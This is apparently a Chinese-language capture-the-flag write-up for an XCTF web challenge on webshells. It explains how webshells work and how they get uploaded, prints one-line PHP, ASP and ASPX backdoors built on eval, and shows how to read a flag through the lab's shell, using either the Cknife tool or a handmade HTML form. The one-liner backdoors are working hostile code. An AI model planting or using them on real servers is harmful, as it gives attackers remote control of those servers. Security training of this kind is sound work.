题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=0&page=1
首先,我们需要知道什么是webshell
webshell(分类为远程访问木马)是作为一个基于网络的实现的网络安全威胁shell概念。
Webshell可以上传到Web服务器,以允许远程访问Web服务器,例如Web服务器的文件系统。
Webshell的独特之处在于它使用户能够通过充当命令行界面的Web浏览器访问Web服务器。用户可以使用Web浏览器通过万维网访问远程计算机在任何类型的系统上,无论是台式计算机还是带有Web浏览器的手机,都可以在远程系统上执行任务。主机或客户端都不需要命令行环境。
贴一个大牛的链接:Webshell和一句话木马
简单的说webshell就是web后门,比如php,asp木马后门。黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
Web shell通过Web应用程序中的漏洞或弱服务器安全配置上传,包括以下内容:
- SQL注入 ;
- 应用程序和服务中的漏洞(例如NGINX等Web服务器软件或WordPress等内容管理系统应用程序);
- 文件处理和上传漏洞(例如限制可上传的文件类型);
- 远程文件包含(RFI)和本地文件包含(LFI)漏洞;
- 远程代码执行 ;
- 暴露的管理界面;
- 跨站脚本
小马(一句话木马)就不容易被识别,隐蔽性高
一句话木马
简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获
得webshell的方法。
一些不同脚本语言的一句话木马
php一句话木马: <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
我们有两种方法来获取网页的webshell:
第一种,直接使用工具。Cknife
在下面选择语言和编码方式,点击编辑
之后右键即可进行网站文件管理
第二种方式,修改HTML代码提交一个shell的变量,变量值是webshell命令????
从别人的wp看到的一种方法
???????<form action="http://111.198.29.45:36317/index.php" method="post"><input type="text" name="shell"><input type="submit" value="提交">
</form>
提交命令
print_r(scandir(getcwd()));
在网站目录下发现了flag.txt
提交命令
print_r(show_source('flag.txt'));
还是直接使用工具更方便一点